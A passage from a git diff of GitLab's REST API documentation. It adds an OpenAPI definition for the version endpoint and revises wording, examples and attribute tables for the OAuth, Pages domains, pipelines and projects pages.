+https://example.com/oauth/redirect#access_token=ABCDExyz123&state=YOUR_UNIQUE_STATE_HASH&token_type=bearer&expires_in=3600
```
### Resource owner password credentials flow
@@ -198,7 +198,7 @@ By default, the scope of the access token is `api`, which provides complete read
For testing, you can use the `oauth2` Ruby gem:
```ruby
-client = OAuth2::Client.new('the_client_id', 'the_client_secret', :site => "http://example.com")
+client = OAuth2::Client.new('the_client_id', 'the_client_secret', :site => "https://example.com")
access_token = client.password.get_token('user@example.com', 'secret')
puts access_token.token
```
diff --git a/doc/api/openapi/openapi.yaml b/doc/api/openapi/openapi.yaml
new file mode 100644
index 00000000000..8aa4de62501
--- /dev/null
+++ b/doc/api/openapi/openapi.yaml
@@ -0,0 +1,26 @@
+openapi: "3.0.0"
+info:
+ description: |
+ An OpenAPI definition for the GitLab REST API.
+ Only one API resource/endpoint is currently included.
+ The intent is to expand this to match the entire Markdown documentation of the API:
+ <https://docs.gitlab.com/ee/api/>. Contributions are welcome.
+
+ When viewing this on gitlab.com, you can test API calls directly from the browser
+ against the `gitlab.com` instance, if you are logged in.
+ The feature uses the current [GitLab session cookie](https://docs.gitlab.com/ee/api/README.html#session-cookie),
+ so each request is made using your account.
+
+ Read more at <https://docs.gitlab.com/ee/development/documentation/styleguide.html#restful-api>.
+ version: "v4"
+ title: "GitLab API"
+ termsOfService: "https://about.gitlab.com/terms/"
+ license:
+ name: "CC BY-SA 4.0"
+ url: "https://gitlab.com/gitlab-org/gitlab/-/blob/master/LICENSE"
+servers:
+ - url: "https://gitlab.com/api/"
+
+paths:
+ /v4/version:
+ $ref: "v4/version.yaml"
diff --git a/doc/api/openapi/v4/version.yaml b/doc/api/openapi/v4/version.yaml
new file mode 100644
index 00000000000..3a689840f4c
--- /dev/null
+++ b/doc/api/openapi/v4/version.yaml
@@ -0,0 +1,28 @@
+# Markdown documentation: https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/api/version.md
+
+get:
+ tags:
+ - version
+ summary: "Retrieve version information for this GitLab instance."
+ operationId: "getVersion"
+ responses:
+ "401":
+ description: "unauthorized operation"
+ "200":
+ description: "successful operation"
+ content:
+ "application/json":
+ schema:
+ title: "VersionResponse"
+ type: "object"
+ properties:
+ version:
+ type: "string"
+ revision:
+ type: "string"
+ examples:
+ Example:
+ value:
+ version: "13.3.0-pre"
+ revision: "f2b05afebb0"
+
diff --git a/doc/api/pages_domains.md b/doc/api/pages_domains.md
index 1fddc79814f..6f7236c8d1a 100644
--- a/doc/api/pages_domains.md
+++ b/doc/api/pages_domains.md
@@ -10,9 +10,9 @@ Endpoints for connecting custom domain(s) and TLS certificates in [GitLab Pages]
The GitLab Pages feature must be enabled to use these endpoints. Find out more about [administering](../administration/pages/index.md) and [using](../user/project/pages/index.md) the feature.
-## List all pages domains
+## List all Pages domains
-Get a list of all pages domains. The user must have admin permissions.
+Get a list of all Pages domains. The user must have admin permissions.
```plaintext
GET /pages/domains
@@ -37,9 +37,9 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
]
```
-## List pages domains
+## List Pages domains
-Get a list of project pages domains. The user must have permissions to view pages domains.
+Get a list of project Pages domains. The user must have permissions to view Pages domains.
```plaintext
GET /projects/:id/pages/domains
@@ -73,9 +73,9 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
]
```
-## Single pages domain
+## Single Pages domain
-Get a single project pages domain. The user must have permissions to view pages domains.
+Get a single project Pages domain. The user must have permissions to view Pages domains.
```plaintext
GET /projects/:id/pages/domains/:domain
@@ -115,9 +115,9 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
}
```
-## Create new pages domain
+## Create new Pages domain
-Creates a new pages domain. The user must have permissions to create new pages domains.
+Creates a new Pages domain. The user must have permissions to create new Pages domains.
```plaintext
POST /projects/:id/pages/domains
@@ -131,14 +131,20 @@ POST /projects/:id/pages/domains
| `certificate` | file/string | no | The certificate in PEM format with intermediates following in most specific to least specific order.|
| `key` | file/string | no | The certificate key in PEM format. |
+Create a new Pages domain with a certificate from a `.pem` file:
+
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "certificate=@/path/to/cert.pem" --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains"
```
+Create a new Pages domain by using a variable containing the certificate:
+
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "certificate=$CERT_PEM" --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains"
```
+Create a new Pages domain with an [automatic certificate](../user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md#enabling-lets-encrypt-integration-for-your-custom-domain):
+
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "auto_ssl_enabled=true" "https://gitlab.example.com/api/v4/projects/5/pages/domains"
```
@@ -157,9 +163,9 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain
}
```
-## Update pages domain
+## Update Pages domain
-Updates an existing project pages domain. The user must have permissions to change an existing pages domains.
+Updates an existing project Pages domain. The user must have permissions to change an existing Pages domains.
```plaintext
PUT /projects/:id/pages/domains/:domain
@@ -175,10 +181,14 @@ PUT /projects/:id/pages/domains/:domain
### Adding certificate
+Add a certificate for a Pages domain from a `.pem` file:
+
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=@/path/to/cert.pem" --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example"
```
+Add a certificate for a Pages domain by using a variable containing the certificate:
+
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=$CERT_PEM" --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example"
```
@@ -227,9 +237,9 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certifi
}
```
-## Delete pages domain
+## Delete Pages domain
-Deletes an existing project pages domain.
+Deletes an existing project Pages domain.
```plaintext
DELETE /projects/:id/pages/domains/:domain
diff --git a/doc/api/pipelines.md b/doc/api/pipelines.md
index dc81ef0e25e..95a7787e029 100644
--- a/doc/api/pipelines.md
+++ b/doc/api/pipelines.md
@@ -155,8 +155,8 @@ Example of response
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202525) in GitLab 13.0.
-CAUTION: **Caution:**
-This API route is part of the [JUnit test report](../ci/junit_test_reports.md) feature. It is protected by a [feature flag](../development/feature_flags/index.md) that is **disabled** due to performance issues with very large data sets.
+NOTE: **Note:**
+This API route is part of the [Unit test report](../ci/unit_test_reports.md) feature.
```plaintext
GET /projects/:id/pipelines/:pipeline_id/test_report
diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md
index 5565eaa97f7..5c631d2f084 100644
--- a/doc/api/project_import_export.md
+++ b/doc/api/project_import_export.md
@@ -86,8 +86,12 @@ an email notifying the user to download the file, uploading the exported file to
`regeneration_in_progress` is when an export file is available to download, and a request to generate a new export is in process.
+`none` is when there are no exports _queued_, _started_, _finished_, or _being regenerated_
+
`_links` are only present when export has finished.
+`created_at` is the project create timestamp, not the export start time.
+
```json
{
"id": 1,
diff --git a/doc/api/project_level_variables.md b/doc/api/project_level_variables.md
index 4760816f5d0..cd1c24b756f 100644
--- a/doc/api/project_level_variables.md
+++ b/doc/api/project_level_variables.md
@@ -154,11 +154,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
## The `filter` parameter
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34490) in GitLab 13.2.
-> - It's deployed behind a feature flag, disabled by default.
-> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39209) on GitLab 13.3.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable).
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/227052) in GitLab 13.4.
This parameter is used for filtering by attributes, such as `environment_scope`.
@@ -167,21 +163,3 @@ Example usage:
```shell
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/variables/VARIABLE_1?filter[environment_scope]=production"
```
-
-### Enable or disable
-
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
-can opt to disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:ci_variables_api_filter_environment_scope)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:ci_variables_api_filter_environment_scope)
-```
diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md
index f7fb361bf53..2010fccc624 100644
--- a/doc/api/project_repository_storage_moves.md
+++ b/doc/api/project_repository_storage_moves.md
@@ -9,8 +9,22 @@ type: reference
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31285) in GitLab 13.0.
-Project repository storage can be moved. To retrieve project repository storage moves using the API,
-you must [authenticate yourself](README.md#authentication) as an administrator.
+Project repositories can be moved between storages. This can be useful when
+[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster),
+for example.
+
+As project repository storage moves are processed, they transition through different states. Values
+of `state` are:
+
+- `initial`
+- `scheduled`
+- `started`
+- `finished`
+- `failed`
+- `replicated`
+- `cleanup_failed`
+
+This API requires you to [authenticate yourself](README.md#authentication) as an administrator.
## Retrieve all project repository storage moves
diff --git a/doc/api/project_templates.md b/doc/api/project_templates.md
index e08ff56925e..08f3aefb429 100644
--- a/doc/api/project_templates.md
+++ b/doc/api/project_templates.md
@@ -21,7 +21,7 @@ It deprecates these endpoints, which will be removed for API version 5.
In addition to templates common to the entire instance, project-specific
templates are also available from this API endpoint.
-Support for [Group-level file templates](../user/group/index.md#group-file-templates-premium)
+Support for [Group-level file templates](../user/group/index.md#group-file-templates)
**(PREMIUM)** was [added](https://gitlab.com/gitlab-org/gitlab/-/issues/5987)
in GitLab 11.5
@@ -110,7 +110,7 @@ Example response (Dockerfile):
```json
{
"name": "Binary",
- "content": "# This file is a template, and might need editing before it works on your project.\n# This Dockerfile installs a compiled binary into a bare system.\n# You must either commit your compiled binary into source control (not recommended)\n# or build the binary first as part of a CI/CD pipeline.\n\nFROM buildpack-deps:jessie\n\nWORKDIR /usr/local/bin\n\n# Change `app` to whatever your binary is called\nAdd app .\nCMD [\"./app\"]\n"
+ "content": "# This file is a template, and might need editing before it works on your project.\n# This Dockerfile installs a compiled binary into a bare system.\n# You must either commit your compiled binary into source control (not recommended)\n# or build the binary first as part of a CI/CD pipeline.\n\nFROM buildpack-deps:buster\n\nWORKDIR /usr/local/bin\n\n# Change `app` to whatever your binary is called\nAdd app .\nCMD [\"./app\"]\n"
}
```
diff --git a/doc/api/projects.md b/doc/api/projects.md
index ee9779b54e0..ad26457ad99 100644
--- a/doc/api/projects.md
+++ b/doc/api/projects.md
@@ -22,7 +22,7 @@ Values for the project visibility level are:
## Project merge method
-There are currently three options for `merge_method` to choose from:
+There are three options for `merge_method` to choose from:
- `merge`:
A merge commit is created for every merge, and merging is allowed as long as there are no conflicts.
@@ -44,28 +44,28 @@ GET /projects
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
| `archived` | boolean | no | Limit by archived status |
-| `visibility` | string | no | Limit by visibility `public`, `internal`, or `private` |
+| `id_after` | integer | no | Limit results to projects with IDs greater than the specified ID |
+| `id_before` | integer | no | Limit results to projects with IDs less than the specified ID |
+| `last_activity_after` | datetime | no | Limit results to projects with last_activity after specified time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ |
+| `last_activity_before` | datetime | no | Limit results to projects with last_activity before specified time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ |
+| `membership` | boolean | no | Limit by projects that the current user is a member of |
+| `min_access_level` | integer | no | Limit by current user minimal [access level](members.md#valid-access-levels) |
| `order_by` | string | no | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, or `last_activity_at` fields. `repository_size`, `storage_size`, or `wiki_size` fields are only allowed for admins. Default is `created_at` |
-| `sort` | string | no | Return projects sorted in `asc` or `desc` order. Default is `desc` |
-| `search` | string | no | Return list of projects matching the search criteria |
+| `owned` | boolean | no | Limit by projects explicitly owned by the current user |
+| `repository_checksum_failed` | boolean | no | **(PREMIUM)** Limit projects where the repository checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2) |
+| `repository_storage` | string | no | Limit results to projects stored on repository_storage. Available for admins only. |
| `search_namespaces` | boolean | no | Include ancestor namespaces when matching search criteria. Default is `false` |
+| `search` | string | no | Return list of projects matching the search criteria |
| `simple` | boolean | no | Return only limited fields for each project. This is a no-op without authentication as then _only_ simple fields are returned. |
-| `owned` | boolean | no | Limit by projects explicitly owned by the current user |
-| `membership` | boolean | no | Limit by projects that the current user is a member of |
+| `sort` | string | no | Return projects sorted in `asc` or `desc` order. Default is `desc` |
| `starred` | boolean | no | Limit by projects starred by the current user |
| `statistics` | boolean | no | Include project statistics |
+| `visibility` | string | no | Limit by visibility `public`, `internal`, or `private` |
+| `wiki_checksum_failed` | boolean | no | **(PREMIUM)** Limit projects where the wiki checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2) |
| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (admins only) |
| `with_issues_enabled` | boolean | no | Limit by enabled issues feature |
| `with_merge_requests_enabled` | boolean | no | Limit by enabled merge requests feature |
| `with_programming_language` | string | no | Limit by projects which use the given programming language |
-| `wiki_checksum_failed` | boolean | no | **(PREMIUM)** Limit projects where the wiki checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2) |
-| `repository_checksum_failed` | boolean | no | **(PREMIUM)** Limit projects where the repository checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2) |
-| `min_access_level` | integer | no | Limit by current user minimal [access level](members.md#valid-access-levels) |
-| `id_after` | integer | no | Limit results to projects with IDs greater than the specified ID |
-| `id_before` | integer | no | Limit results to projects with IDs less than the specified ID |
-| `last_activity_after` | datetime | no | Limit results to projects with last_activity after specified time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ |
-| `last_activity_before` | datetime | no | Limit results to projects with last_activity before specified time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ |
-| `repository_storage` | string | no | Limit results to projects stored on repository_storage. Available for admins only. |
NOTE: **Note:**
This endpoint supports [keyset pagination](README.md#keyset-based-pagination) for selected `order_by` options.
@@ -295,9 +295,10 @@ When the user is authenticated and `simple` is not set this returns something li
```
NOTE: **Note:**
-For users on GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/) the `marked_for_deletion_at` attribute has been deprecated and will be removed in API v5 in favor of the `marked_for_deletion_on` attribute.
+For users on GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/) the `marked_for_deletion_at`
+attribute has been deprecated and will be removed in API v5 in favor of the `marked_for_deletion_on` attribute.
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see
the `approvals_before_merge` parameter:
```json
@@ -319,9 +320,9 @@ GET /projects?custom_attributes[key]=value&custom_attributes[other_key]=other_va
### Pagination limits
-From GitLab 13.0, [offset-based pagination](README.md#offset-based-pagination) will be
+In GitLab 13.0 and later, [offset-based pagination](README.md#offset-based-pagination) is
[limited to 50,000 records](https://gitlab.com/gitlab-org/gitlab/-/issues/34565).
-[Keyset pagination](README.md#keyset-based-pagination) will be required to retrieve projects
+[Keyset pagination](README.md#keyset-based-pagination) is required to retrieve projects
beyond this limit.
Note that keyset pagination only supports `order_by=id`. Other sorting options are not available.
@@ -918,7 +919,7 @@ GET /projects/:id
}
```
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see
the `approvals_before_merge` parameter:
```json
@@ -933,7 +934,7 @@ the `approvals_before_merge` parameter:
**Note**: The `web_url` and `avatar_url` attributes on `namespace` were [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/27427) in GitLab 11.11.
If the project is a fork, and you provide a valid token to authenticate, the
-`forked_from_project` field will appear in the response.
+`forked_from_project` field appears in the response.
```json
{
@@ -1031,7 +1032,7 @@ POST /projects
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
| `name` | string | yes if path is not provided | The name of the new project. Equals path if not provided. |
-| `path` | string | yes if name is not provided | Repository name for new project. Generated based on name if not provided (generated lowercased with dashes). |
+| `path` | string | yes if name is not provided | Repository name for new project. Generated based on name if not provided (generated as lowercase with dashes). |
| `namespace_id` | integer | no | Namespace for the new project (defaults to the current user's namespace) |
| `default_branch` | string | no | `master` by default |
| `description` | string | no | Short project description |
@@ -1072,7 +1073,7 @@ POST /projects
| `build_timeout` | integer | no | The maximum amount of time in minutes that a job is able run (in seconds) |
| `auto_cancel_pending_pipelines` | string | no | Auto-cancel pending pipelines (Note: this is not a boolean, but enabled/disabled |
| `build_coverage_regex` | string | no | Test coverage parsing |
-| `ci_config_path` | string | no | The path to CI config file |
+| `ci_config_path` | string | no | The path to CI configuration file |
| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for this project |
| `auto_devops_deploy_strategy` | string | no | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`) |
| `repository_storage` | string | no | Which storage shard the repository is on. Available only to admins |
@@ -1144,7 +1145,7 @@ POST /projects/user/:user_id
| `build_timeout` | integer | no | The maximum amount of time in minutes that a job is able run (in seconds) |
| `auto_cancel_pending_pipelines` | string | no | Auto-cancel pending pipelines (Note: this is not a boolean, but enabled/disabled |
| `build_coverage_regex` | string | no | Test coverage parsing |
-| `ci_config_path` | string | no | The path to CI config file |
+| `ci_config_path` | string | no | The path to CI configuration file |
| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for this project |
| `auto_devops_deploy_strategy` | string | no | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`) |
| `repository_storage` | string | no | Which storage shard the repository is on. Available only to admins |
@@ -1215,7 +1216,7 @@ PUT /projects/:id
| `build_timeout` | integer | no | The maximum amount of time in minutes that a job is able run (in seconds) |
| `auto_cancel_pending_pipelines` | string | no | Auto-cancel pending pipelines (Note: this is not a boolean, but enabled/disabled |
| `build_coverage_regex` | string | no | Test coverage parsing |
-| `ci_config_path` | string | no | The path to CI config file |
+| `ci_config_path` | string | no | The path to CI configuration file |
| `ci_default_git_depth` | integer | no | Default number of revisions for [shallow cloning](../ci/pipelines/settings.md#git-shallow-clone) |
| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for this project |
| `auto_devops_deploy_strategy` | string | no | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`) |
@@ -1240,7 +1241,7 @@ where `password` is a public access key with the `api` scope enabled.
Forks a project into the user namespace of the authenticated user or the one provided.
The forking operation for a project is asynchronous and is completed in a
-background job. The request will return immediately. To determine whether the
+background job. The request returns immediately. To determine whether the
fork of the project has completed, query the `import_status` for the new project.
```plaintext
@@ -1250,11 +1251,11 @@ POST /projects/:id/fork
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
-| `namespace` | integer/string | no | (deprecated) The ID or path of the namespace that the project will be forked to |
-| `namespace_id` | integer | no | The ID of the namespace that the project will be forked to |
-| `namespace_path` | string | no | The path of the namespace that the project will be forked to |
-| `path` | string | no | The path that will be assigned to the resultant project after forking |
-| `name` | string | no | The name that will be assigned to the resultant project after forking |
+| `namespace` | integer/string | no | (deprecated) The ID or path of the namespace that the project is forked to |
+| `namespace_id` | integer | no | The ID of the namespace that the project is forked to |
+| `namespace_path` | string | no | The path of the namespace that the project is forked to |
+| `path` | string | no | The path assigned to the resultant project after forking |
+| `name` | string | no | The name assigned to the resultant project after forking |
## List Forks of a project
@@ -1614,8 +1615,8 @@ Example response:
## Archive a project
-Archives the project if the user is either admin or the project owner of this project. This action is
-idempotent, thus archiving an already archived project will not change the project.
+Archives the project if the user is either an administrator or the owner of this project. This action is
+idempotent, thus archiving an already archived project does not change the project.
```plaintext
POST /projects/:id/archive
@@ -1724,8 +1725,8 @@ Example response:
## Unarchive a project
-Unarchives the project if the user is either admin or the project owner of this project. This action is
-idempotent, thus unarchiving a non-archived project will not change the project.
+Unarchives the project if the user is either an administrator or the owner of this project. This action is
+idempotent, thus unarchiving a non-archived project does not change the project.
```plaintext
POST /projects/:id/unarchive
@@ -1838,15 +1839,15 @@ This endpoint:
- Deletes a project including all associated resources (issues, merge requests etc).
- From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers,
-group admins can [configure](../user/group/index.md#enabling-delayed-project-removal-premium) projects within a group
+group admins can [configure](../user/group/index.md#enabling-delayed-project-removal) projects within a group
to be deleted after a delayed period.
When enabled, actual deletion happens after the number of days
-specified in the [default deletion delay](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only).
+specified in the [default deletion delay](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
CAUTION: **Warning:**
The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6
was changed to [Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382)
-in GitLab 13.2, as discussed in [Enabling delayed project removal](../user/group/index.md#enabling-delayed-project-removal-premium).
+in GitLab 13.2, as discussed in [Enabling delayed project removal](../user/group/index.md#enabling-delayed-project-removal).
```plaintext
DELETE /projects/:id
@@ -1880,12 +1881,12 @@ POST /projects/:id/uploads
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `file` | string | yes | The file to be uploaded |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
-To upload a file from your filesystem, use the `--form` argument. This causes
+To upload a file from your file system, use the `--form` argument. This causes
cURL to post data using the header `Content-Type: multipart/form-data`.
-The `file=` parameter must point to a file on your filesystem and be preceded
+The `file=` parameter must point to a file on your file system and be preceded
by `@`. For example:
```shell
@@ -1917,10 +1918,10 @@ POST /projects/:id/share
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
-| `group_id` | integer | yes | The ID of the group to share with |
-| `group_access` | integer | yes | The [access level](members.md#valid-access-levels) to grant the group |
| `expires_at` | string | no | Share expiration date in ISO 8601 format: 2016-09-26 |
+| `group_access` | integer | yes | The [access level](members.md#valid-access-levels) to grant the group |
+| `group_id` | integer | yes | The ID of the group to share with |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
## Delete a shared project link within a group
@@ -1932,8 +1933,8 @@ DELETE /projects/:id/share/:group_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `group_id` | integer | yes | The ID of the group |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
```shell
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17"
@@ -1966,8 +1967,8 @@ GET /projects/:id/hooks/:hook_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `hook_id` | integer | yes | The ID of a project hook |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
```json
{
@@ -2001,22 +2002,22 @@ POST /projects/:id/hooks
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
+| `confidential_issues_events` | boolean | no | Trigger hook on confidential issues events |
+| `confidential_note_events` | boolean | no | Trigger hook on confidential note events |
+| `deployment_events` | boolean | no | Trigger hook on deployment events |
+| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
-| `url` | string | yes | The hook URL |
-| `push_events` | boolean | no | Trigger hook on push events |
-| `push_events_branch_filter` | string | no | Trigger hook on push events for matching branches only |
| `issues_events` | boolean | no | Trigger hook on issues events |
-| `confidential_issues_events` | boolean | no | Trigger hook on confidential issues events |
+| `job_events` | boolean | no | Trigger hook on job events |
| `merge_requests_events` | boolean | no | Trigger hook on merge requests events |
-| `tag_push_events` | boolean | no | Trigger hook on tag push events |
| `note_events` | boolean | no | Trigger hook on note events |
-| `confidential_note_events` | boolean | no | Trigger hook on confidential note events |
-| `job_events` | boolean | no | Trigger hook on job events |
| `pipeline_events` | boolean | no | Trigger hook on pipeline events |
+| `push_events_branch_filter` | string | no | Trigger hook on push events for matching branches only |
+| `push_events` | boolean | no | Trigger hook on push events |
+| `tag_push_events` | boolean | no | Trigger hook on tag push events |
+| `token` | string | no | Secret token to validate received payloads; this is not returned in the response |
+| `url` | string | yes | The hook URL |
| `wiki_page_events` | boolean | no | Trigger hook on wiki events |
-| `deployment_events` | boolean | no | Trigger hook on deployment events |
-| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook |
-| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response |
### Edit project hook
@@ -2028,23 +2029,23 @@ PUT /projects/:id/hooks/:hook_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `confidential_issues_events` | boolean | no | Trigger hook on confidential issues events |
+| `confidential_note_events` | boolean | no | Trigger hook on confidential note events |
+| `deployment_events` | boolean | no | Trigger hook on deployment events |
+| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook |
| `hook_id` | integer | yes | The ID of the project hook |
-| `url` | string | yes | The hook URL |
-| `push_events` | boolean | no | Trigger hook on push events |
-| `push_events_branch_filter` | string | no | Trigger hook on push events for matching branches only |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `issues_events` | boolean | no | Trigger hook on issues events |
-| `confidential_issues_events` | boolean | no | Trigger hook on confidential issues events |
+| `job_events` | boolean | no | Trigger hook on job events |
| `merge_requests_events` | boolean | no | Trigger hook on merge requests events |
-| `tag_push_events` | boolean | no | Trigger hook on tag push events |
| `note_events` | boolean | no | Trigger hook on note events |
-| `confidential_note_events` | boolean | no | Trigger hook on confidential note events |
-| `job_events` | boolean | no | Trigger hook on job events |
| `pipeline_events` | boolean | no | Trigger hook on pipeline events |
+| `push_events_branch_filter` | string | no | Trigger hook on push events for matching branches only |
+| `push_events` | boolean | no | Trigger hook on push events |
+| `tag_push_events` | boolean | no | Trigger hook on tag push events |
+| `token` | string | no | Secret token to validate received payloads; this is not returned in the response |
+| `url` | string | yes | The hook URL |
| `wiki_events` | boolean | no | Trigger hook on wiki events |
-| `deployment_events` | boolean | no | Trigger hook on deployment events |
-| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook |
-| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response |
### Delete project hook
@@ -2057,11 +2058,11 @@ DELETE /projects/:id/hooks/:hook_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `hook_id` | integer | yes | The ID of the project hook |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
Note the JSON response differs if the hook is available or not. If the project hook
-is available before it is returned in the JSON response or an empty response is returned.
+is available before it's returned in the JSON response or an empty response is returned.
## Fork relationship
@@ -2075,8 +2076,8 @@ POST /projects/:id/fork/:forked_from_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `forked_from_id` | ID | yes | The ID of the project that was forked from |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
### Delete an existing forked from relationship
@@ -2100,15 +2101,15 @@ GET /projects
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `search` | string | yes | A string contained in the project name |
| `order_by` | string | no | Return requests ordered by `id`, `name`, `created_at` or `last_activity_at` fields |
+| `search` | string | yes | A string contained in the project name |
| `sort` | string | no | Return requests sorted in `asc` or `desc` order |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects?search=test"
```
-## Start the Housekeeping task for a Project
+## Start the Housekeeping task for a project
> Introduced in GitLab 9.0.
@@ -2153,7 +2154,7 @@ GET /projects/:id/push_rule
}
```
-Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) can also see
